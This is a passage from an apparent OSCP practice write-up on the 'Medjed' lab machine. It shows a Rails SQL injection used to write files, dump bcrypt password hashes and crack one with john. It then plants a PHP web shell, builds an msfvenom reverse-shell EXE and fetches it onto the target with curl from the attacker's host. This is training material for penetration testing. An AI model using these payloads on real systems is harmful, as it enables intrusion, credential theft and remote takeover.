302      GET        1l        5w      673c http://192.168.200.127:33033/rails/active_storage/blobs/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBDQT09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--ef2f596261aa7e3da359c4d8f5a9a83b6860d11b/image.jpeg =&gt; http://192.168.200.127:33033/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaDdDRG9JYTJWNVNTSWhNakJwTVc5cGRUZzNkbXhqYkRNMWVHUTJablp6T0RZMmJuRmlaUVk2QmtWVU9oQmthWE53YjNOcGRHbHZia2tpUDJsdWJHbHVaVHNnWm1sc1pXNWhiV1U5SW1sdFlXZGxMbXB3WldjaU95Qm1hV3hsYm1GdFpTbzlWVlJHTFRnbkoybHRZV2RsTG1wd1pXY0dPd1pVT2hGamIyNTBaVzUwWDNSNWNHVkpJZzlwYldGblpTOXFjR1ZuQmpzR1ZBPT0iLCJleHAiOiIyMDI1LTA4LTI2VDEzOjAxOjQwLjY1MloiLCJwdXIiOiJibG9iX2tleSJ9fQ==--d3de54c53bf80cc1798c2e5e8670d5be97d09041/image.jpeg?content_type=image%2Fjpeg&amp;disposition=inline%3B+filename%3D%22image.jpeg%22%3B+filename%2A%3DUTF-8%27%27image.jpeg
200      GET       43l       78w     1523c http://192.168.200.127:33033/login
200      GET      119l      187w     3708c http://192.168.200.127:33033/
<span style="color: lightgreen;">200      GET      725l     1230w    18286c http://192.168.200.127:33033/rails/info/routes</span>
404      GET     1223l     2564w    39772c http://192.168.200.127:33033/assets
302      GET        1l        5w      100c http://192.168.200.127:33033/logout =&gt; http://192.168.200.127:33033/login
200      GET       67l      181w     1722c http://192.168.200.127:33033/404
404      GET        0l        0w    37323c http://192.168.200.127:33033/267
200      GET       66l      165w     1635c http://192.168.200.127:33033/500
200      GET       67l      176w     1705c http://192.168.200.127:33033/422
404      GET        1l        3w       14c http://192.168.200.127:33033/cable
[&gt;-------------------] - 9m      9361/220574  3h      found:16      errors:29     
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_200_127:33033-1756213531.state ...
[&gt;-------------------] - 9m      9362/220574  3h      found:16      errors:29     
[&gt;-------------------] - 9m      9323/220545  17/s    http://192.168.200.127:33033/
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The directory scan found an interesting endpoint <code class="language-plaintext highlighter-rouge">/rails/info/routes</code>.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_rails_routes.png" alt="" /></p>

<p>According to the <a href="https://guides.rubyonrails.org/v5.0.6/routing.html">Rails docs</a>, this endpoint lists out all the available routes, and it’s only available if the app is running in development mode. Most of them requires authentication, but <code class="language-plaintext highlighter-rouge">/slug</code> doesn’t.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_rails_slug.png" alt="" /></p>

<p>A <a href="https://en.wikipedia.org/wiki/Clean_URL#Slug">slug</a> typically refers to a short user- or SEO-friendly text used in URLs to identify and describe a resource. Looks like the endpoint is for generating slugs based on a user’s profile.</p>

<p>I tried searching with several usernames found earlier, but it never returns any results. Then I tried searching with <code class="language-plaintext highlighter-rouge">asdf'</code>, and it crashed with a full stack trace.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_rails_crash.png" alt="" /></p>

<p>That’s SQL injection! The error message also revealed the Rails root: <code class="language-plaintext highlighter-rouge">C:/Sites/userpro</code> and the exact SQL statement: <code class="language-plaintext highlighter-rouge">SELECT username FROM users WHERE username = '&lt;input&gt;'</code>.</p>

<hr />
<h2 id="exploitation">Exploitation:</h2>
<h3 id="sql-injection">SQL Injection:</h3>

<p>Normally I would fire up <code class="language-plaintext highlighter-rouge">sqlmap</code> and let it perform magic, but since this is an OSCP practice, I’ll do it manually instead. Having knowledge of the exact SQL statement also makes exploitation much easier.</p>

<p>I’ll first check if I’m able to write to files using MySQL’s <a href="https://hackviser.com/tactics/pentesting/services/mysql#executing-commands-via-sql-read--write-operations">INTO OUTFILE</a> clause.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Payload:</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;">asdf' INTO OUTFILE 'C:/Windows/Temp/test.txt'#</pre>
  </div>
</div>

<p>I’ll send the payload, and it didn’t return any error. However, sending it again caused a crash with an error message complaining the file already exists. File write successful.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/sql_write.png" alt="" /></p>

<p>I’ll then check if I can write into Rails’ <a href="https://guides.rubyonrails.org/getting_started.html#directory-structure">public folder</a>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Payload:</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre-wrap; word-break: break-all;">asdf' UNION SELECT 'SQL injection POC' INTO OUTFILE 'C:/Sites/userpro/public/poc.txt'#</pre>
  </div>
</div>

<p>Success!</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/sql_poc.png" alt="" /></p>

<h3 id="data-exfiltration">Data Exfiltration:</h3>

<p>Now that I’m able to see the SQL output, I can start exfiltrating the database.</p>

<h6 id="listing-out-columns-of-the-users-table">Listing out columns of the “users” table:</h6>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Payload:</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre-wrap; word-break: break-all;">asdf' UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users' INTO OUTFILE 'C:/Sites/userpro/public/columns.txt'#</pre>
  </div>
</div>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/sql_columns.png" alt="" /></p>

<h6 id="recovering-password-hashes">Recovering password hashes:</h6>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Payload:</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre-wrap; word-break: break-all;">asdf' UNION SELECT password_digest FROM users INTO OUTFILE 'C:/Sites/userpro/public/all_passwords.txt'#</pre>
  </div>
</div>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/sql_all_pw.png" alt="" /></p>

<h6 id="recovering-reminders">Recovering reminders:</h6>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Payload:</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre-wrap; word-break: break-all;">asdf' UNION SELECT reminder FROM users INTO OUTFILE 'C:/Sites/userpro/public/all_reminders.txt'#</pre>
  </div>
</div>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/sql_all_reminders.png" alt="" /></p>

<p>The hashes look like BCrypt, which is very resistant to offline attacks. Some of the reminders also looks like passwords themselves. I ran <code class="language-plaintext highlighter-rouge">john</code> against the hashes using the list of reminders as the wordlist. One of them cracked.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">john --wordlist=reminders.txt hashes.txt</span>
<span class="cmd-output">
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 5 candidates left, minimum 48 needed for performance.
<span style="color: lightgreen;">xuk1EuP3N/rCpA   (?)     </span>
1g 0:00:00:01 DONE (2025-08-27 00:03) 0.6172g/s 3.086p/s 18.51c/s 18.51C/s 4qpdR87QYjRbog..WgsjOZwtOyCRSg
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll do a password spray on the app, and it worked for <code class="language-plaintext highlighter-rouge">kenneth.dooley</code>.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_rails_logged_in.png" alt="" /></p>

<p>Underwhelmingly, the authenticated page just shows the user profile with an option to edit.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_rails_user_edit.png" alt="" /></p>

<p>The edit page didn’t have much either, the experimental link goes back to <code class="language-plaintext highlighter-rouge">/slug</code>. I’ve gone a full circle here.</p>

<h3 id="web-shell-upload">Web Shell Upload:</h3>

<p>Remember the PHP quiz app? PhpInfo revealed its web root, and turns out SQL has permissions to write into it too.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Payload:</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre-wrap; word-break: break-all;">asdf' UNION SELECT 'test' INTO OUTFILE 'C:/xampp/htdocs/test.txt'#</pre>
  </div>
</div>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/file_write_poc.png" alt="" /></p>

<p>I’ll write a PHP web shell into it.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Payload:</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre-wrap; word-break: break-all;">asdf' UNION SELECT '<?=`$_GET[x]`?>' INTO OUTFILE 'C:/xampp/htdocs/shell.php'#</pre>
  </div>
</div>

<p>And it can be accessed on port 45332.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/file_write_whoami.png" alt="" /></p>

<p>For a proper shell, I’ll first generate an EXE payload with <code class="language-plaintext highlighter-rouge">msfvenom</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.160 LPORT=8001 -f exe -o shell.exe</span>
<span class="cmd-output">
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll host the file with a Python server and download it to the server using the web shell:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Payload:</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre-wrap; word-break: break-all;">http://192.168.200.127:45332/shell.php?x=curl http://192.168.45.160:8000/shell.exe -o C:/Users/Public/Downloads/shell.exe</pre>
  </div>
</div>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
